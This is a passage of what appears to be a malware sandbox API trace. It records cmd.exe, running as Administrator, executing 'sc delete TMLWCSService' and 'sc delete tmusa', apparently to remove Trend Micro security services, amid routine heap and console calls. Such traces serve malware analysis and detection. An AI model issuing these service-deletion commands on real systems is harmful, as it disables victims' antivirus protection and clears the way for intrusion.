lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.340] GetProcessHeap () returned 0x4a0000 [0073.341] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.341] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.341] GetProcessHeap () returned 0x4a0000 [0073.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa8) returned 0x4b9180 [0073.341] GetProcessHeap () returned 0x4a0000 [0073.341] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa8 [0073.341] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMLWCSService") returned 1 [0073.341] GetProcessHeap () returned 0x4a0000 [0073.341] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.341] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.341] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.341] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.341] GetProcessHeap () returned 0x4a0000 [0073.341] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.341] GetProcessHeap () returned 0x4a0000 [0073.341] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.341] GetProcessHeap () returned 0x4a0000 [0073.341] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.342] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMLWCSService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMLWCSService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete TMLWCSService", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x4e4, dwThreadId=0x704)) returned 1 [0073.345] CloseHandle (hObject=0x54) returned 1 [0073.345] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.345] GetProcessHeap () returned 0x4a0000 [0073.345] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0073.345] GetEnvironmentStringsW () returned 0x4c1b10* [0073.345] GetProcessHeap () returned 0x4a0000 [0073.345] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.345] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.345] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.345] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.345] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0073.396] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0073.396] CloseHandle (hObject=0x50) returned 1 [0073.396] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0073.396] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.397] GetProcessHeap () returned 0x4a0000 [0073.397] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.397] GetEnvironmentStringsW () returned 0x4c1b10* [0073.397] GetProcessHeap () returned 0x4a0000 [0073.397] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.397] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.397] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.397] GetProcessHeap () returned 0x4a0000 [0073.397] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0073.397] GetEnvironmentStringsW () returned 0x4c1b10* [0073.397] GetProcessHeap () returned 0x4a0000 [0073.397] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.397] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.397] GetProcessHeap () returned 0x4a0000 [0073.397] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0073.397] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0073.397] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.398] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.398] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.398] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.398] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0073.398] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.398] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0073.398] GetConsoleOutputCP () returned 0x1b5 [0073.398] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.398] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.399] GetProcessHeap () returned 0x4a0000 [0073.399] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0073.399] GetProcessHeap () returned 0x4a0000 [0073.399] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0073.399] GetProcessHeap () returned 0x4a0000 [0073.399] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0073.399] GetProcessHeap () returned 0x4a0000 [0073.399] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0073.399] GetProcessHeap () returned 0x4a0000 [0073.399] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0073.399] GetProcessHeap () returned 0x4a0000 [0073.399] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0073.399] GetProcessHeap () returned 0x4a0000 [0073.399] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0073.399] GetProcessHeap () returned 0x4a0000 [0073.399] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0073.399] GetProcessHeap () returned 0x4a0000 [0073.399] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0073.399] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0073.399] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.399] GetFileType (hFile=0x120) returned 0x3 [0073.399] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.399] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0073.400] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.400] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.400] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.400] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0073.400] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.400] GetFileType (hFile=0x120) returned 0x3 [0073.400] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.400] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0073.400] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.400] GetFileType (hFile=0xb8) returned 0x3 [0073.400] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.400] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.400] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.400] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.400] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.400] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.400] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.400] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.400] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.401] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.401] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.401] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.401] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.401] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.401] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.401] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.401] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.401] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.401] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.401] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.401] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.401] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.401] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.401] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.401] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.401] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.401] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.401] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.401] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.401] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.402] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.402] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.402] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.402] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.402] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.402] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.402] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.402] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.402] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.402] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" TMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.402] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.402] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.402] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.402] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="tMLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.402] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.402] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.402] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.402] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="mLWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.402] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.402] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.402] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.402] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="uWCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.402] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.403] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.403] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.403] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="sCSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.403] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.403] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.403] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.403] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="aSService\n4-9.4\"\n\nA\"\n") returned 1 [0073.403] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.403] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.403] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.403] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="\nService\n4-9.4\"\n\nA\"\n") returned 1 [0073.403] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.403] GetFileType (hFile=0xb8) returned 0x3 [0073.403] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.403] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.403] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.403] GetFileType (hFile=0x120) returned 0x3 [0073.403] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.403] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete tmusa\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete tmusa\n", lpUsedDefaultChar=0x0) returned 17 [0073.403] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x10, lpOverlapped=0x0) returned 1 [0073.403] GetProcessHeap () returned 0x4a0000 [0073.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.404] GetProcessHeap () returned 0x4a0000 [0073.404] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.404] GetProcessHeap () returned 0x4a0000 [0073.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.404] GetProcessHeap () returned 0x4a0000 [0073.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.404] GetProcessHeap () returned 0x4a0000 [0073.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2c) returned 0x4b6510 [0073.404] GetConsoleOutputCP () returned 0x1b5 [0073.404] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.404] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.404] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.405] GetProcessHeap () returned 0x4a0000 [0073.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.405] GetProcessHeap () returned 0x4a0000 [0073.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x32) returned 0x4b6550 [0073.405] GetProcessHeap () returned 0x4a0000 [0073.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0073.405] SetErrorMode (uMode=0x0) returned 0x1 [0073.405] SetErrorMode (uMode=0x1) returned 0x0 [0073.405] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.405] SetErrorMode (uMode=0x1) returned 0x1 [0073.405] GetProcessHeap () returned 0x4a0000 [0073.405] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0073.405] GetProcessHeap () returned 0x4a0000 [0073.405] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0073.405] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.405] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.405] GetProcessHeap () returned 0x4a0000 [0073.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.405] GetProcessHeap () returned 0x4a0000 [0073.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.405] GetProcessHeap () returned 0x4a0000 [0073.405] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.405] GetProcessHeap () returned 0x4a0000 [0073.405] RtlSizeHeap 